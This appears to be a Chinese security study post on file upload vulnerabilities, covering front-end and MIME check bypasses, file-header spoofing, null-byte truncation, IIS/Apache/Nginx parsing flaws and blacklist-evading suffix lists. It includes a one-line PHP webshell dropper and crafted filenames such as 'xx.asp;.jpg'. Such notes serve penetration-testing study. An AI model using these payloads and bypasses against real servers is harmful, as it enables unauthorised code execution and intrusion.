zoukankan      html  css  js  c++  java
  • 文件上传漏洞

    基础介绍

    文件上传漏洞

    顾名思义:因文件上传而导致的一个漏洞。但文件上传功能本身没有危害,当上传恶意脚本后,危害便出现了。所以文件上传漏洞的本质便是没有对上传的文件做校验。
    按理说做了校验就好,但其实做了校验也分绕过和绕不过,就绕过而言又分为很多类型。

    文件上传漏洞的必要条件

    • 存在上传点(起点:没有上传点,文件上传漏洞也就不存在)
    • 可以上传动态文件(把恶意脚本放入目标点)
    • 上传到的目录有执行权限,文件可执行(上传后,脚本可以运行)
    • 可以访问到上传的动态文件(可以指挥恶意脚本)

    前端检测绕过

    前端检测介绍

    • 开发者考虑到对上传文件做符合要求的限定,于是通过JavaScript在前端对上传文件的后缀名,做了验证
    • 但是,在前端做的任何检测机制都是纸老虎,做了和没做一个样

    如何判断是前端检测

    • 看源代码
    • 直接上传不合规文件,页面弹出提示框,但浏览器没有收到服务器的响应

      如上图所示,浏览器没有收到从服务器来的关于提示信息的响应报文

    如何绕过

    使用抓包工具抓包后修改文件后缀名


    修改后,发送数据包

    上传成功

    看源代码



    删除页面前端验证的代码

    不知道为什么,在chrome里不可以,我没删干净吗?

    关闭浏览器的JavaScript



    上传成功.


    服务器端检测绕过

    MIME类型检测

    什么是MIME类型

    描述消息内容类型的因特网标准,浏览器会根据上传文件的扩展名,对应到相应的MIME类型上

    常用的MIME类型

    • gif image/gif
    • jpg image/jpeg
    • png image/png
    • bmp image/bmp
    • psd application/octet-stream
    • ico image/x-icon
    • rar application/octet-stream
    • zip application/zip
    • 7z application/octet-stream
    • exe application/octet-stream
    • avi video/avi
    • rmvb application/vnd.rn-realmedia-vbr
    • 3gp application/octet-stream
    • 3gp application/octet-stream
    • mp3 audio/mpeg
    • wav audio/wav
    • krc application/octet-stream
    • lrc application/octet-stream
    • txt text/plain
    • doc application/msword
    • xls application/vnd.ms-excel
    • ppt application/vnd.ms-powerpoint
    • pdf application/pdf
    • chm application/octet-stream
    • mdb application/msaccess
    • sql application/octet-stream
    • con application/octet-stream
    • log text/plain
    • dat application/octet-stream
    • ini application/octet-stream
    • php application/octet-stream
    • html text/html
    • ttf application/octet-stream
    • fon application/octet-stream
    • js application/x-javascript
    • xml text/xml
    • dll application/octet-stream

    绕过方法



    上传成功

    文件内容检测

    简单文件头检测

    在恶意脚本内容前 添加 允许通过的文件类型的文件头

    常用的文件头

    • JPEG (jpg),文件头:FFD8FF
    • PNG (png),文件头:89504E47
    • GIF (gif),文件头:47494638
    • TIFF (tif),文件头:49492A00
    • Windows Bitmap (bmp),文件头:424D
    • CAD (dwg),文件头:41433130
    • Adobe Photoshop (psd),文件头:38425053
    • Rich Text Format (rtf),文件头:7B5C727466
    • XML (xml),文件头:3C3F786D6C
    • HTML (html),文件头:68746D6C3E
    • Email [thorough only] (eml),文件头:44656C69766572792D646174653A
    • Outlook Express (dbx),文件头:CFAD12FEC5FD746F
    • Outlook (pst),文件头:2142444E
    • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
    • MS Access (mdb),文件头:5374616E64617264204A
    • WordPerfect (wpd),文件头:FF575043
    • Postscript (eps.or.ps),文件头:252150532D41646F6265
    • Adobe Acrobat (pdf),文件头:255044462D312E
    • Quicken (qdf),文件头:AC9EBD8F
    • Windows Password (pwl),文件头:E3828596
    • ZIP Archive (zip),文件头:504B0304
    • RAR Archive (rar),文件头:52617221
    • Wave (wav),文件头:57415645
    • AVI (avi),文件头:41564920
    • Real Audio (ram),文件头:2E7261FD
    • Real Media (rm),文件头:2E524D46
    • MPEG (mpg),文件头:000001BA
    • MPEG (mpg),文件头:000001B3
    • Quicktime (mov),文件头:6D6F6F76
    • Windows Media (asf),文件头:3026B2758E66CF11
    • MIDI (mid),文件头:4D546864

    举个例子


    完整文件结构检测

    利用copy命令将图片和木马合成为一张图片

    举个例子

    白名单检测

    0x00截断绕过

    条件

    • php版本小于 5.3.4
    • magic_quotes_gpc为OFF状态

    截断点

    • 所有路径和上传的地方

    补充

    get和post有区别

    解析漏洞

    IIS解析漏洞

    IIS6.0
    • xx.php;1.jpg
    IIS7.0/7.5/Nginx<8.03
    • 在上传文件路径后添加/.php
    • 会被当做PHP脚本文件来解析

    黑名单检测

    操作系统特性

    • windows对大小写不敏感
    • windows系统下xxx.php::$DATA会在服务器上生成一个xxx.php的文件
    • windows系统下加入某些字符,会被自动去除

    .
    空格
    <
    ·>
    >>>
    081-0xff
    等等

    语言特性

    php可解析的后缀

    • php
    • php5
    • php4
    • php3
    • php2
    • pHp
    • pHp5
    • pHp4
    • pHp3
    • pHp2
    • html
    • htm
    • phtml
    • pht
    • Html
    • Html
    • Htm
    • pHtml

    jsa可解析的后缀

    • jsp
    • jspa
    • jspx
    • jsw
    • jsv
    • jspf
    • jtml
    • jSp
    • jSpx
    • jSpa
    • jSw
    • jSv
    • jSpf
    • jHtml

    asp/aspx可解析的后缀

    • asp
    • aspx
    • asa
    • asax
    • ascx
    • ashx
    • asmx
    • cer
    • aSp
    • aSpx
    • aSa
    • aSax
    • aScx
    • aShx
    • aSmx
    • cEr

    中间件特性

    解析漏洞

    .htaccess

    代码不严谨

    • 双写绕过
    • 对于空格,只做了单词测试

    解析漏洞

    IIS

    IIS5.X-6.0

    目录解析漏洞

    描述:在asp、asa目录下的文件解析成asp文件(能做到这一步的前提:可以控制文件上传的路径或者文件名)
    asp/xxx.jpg


    文件名解析漏洞

    描述:服务器默认不会读取;(分号)后的内容
    xx.asp;.jpg


    畸形文件名解析漏洞

    描述:IIS6.0以下可执行文件还有 asa cer cdx,

    • aspx不一定能解析,因为aspx是.net环境

    IIS7.0/7.5

    利用解析图片中的代码上传webshell

    • 前提:开启Fast-CGI模式,上传下面所示代码的1.jpg文件
      <?php fputs(fopen('mm.php','w'),'<?php eval($_POST[cmd])?>');?>
    • 访问1.jpg/.php,则1.jpg会被解析执行

    fck+IIS7.5

    a.aspx.a.aspx.jpg..jpg

    Apache

    不可识别解析后缀名

    描述:Apache在文件解析的过程,从左到右开始判断解析,如果为不可识别的后缀解析,就再往左判断


    .htaccess

    描述:当.htaccess文件内容为:SetHandler application/x-httpd-php时,则当前目录所有文件都是用PHP解析,因此当上传内容为PHP代码,格式为jpg的文件时,会被当做PHP文件执行
    前提条件:在htpd.conf中将AllowOverride 设置为All

    Nginx

    CGI

    空字节代码执行

    其他上传绕过

    双文件上传

    竞争上传

  • 相关阅读:
    Codeforces Bubble Cup 8
    Codeforces Bubble Cup 8
    BZOJ 2588: Spoj 10628. Count on a tree 树上跑主席树
    hdu 5279 Reflect phi 欧拉函数
    hdu 5278 Geometric Progression 高精度
    hdu 5428 The Factor 分解质因数
    hdu 5427 A problem of sorting 水题
    Codeforces Gym 100610 Problem A. Alien Communication Masterclass 构造
    Codeforces Gym 100610 Problem K. Kitchen Robot 状压DP
    Codeforces Gym 100610 Problem H. Horrible Truth 瞎搞
  • 原文地址:https://www.cnblogs.com/ceiling-/p/15139569.html
Copyright © 2011-2022 走看看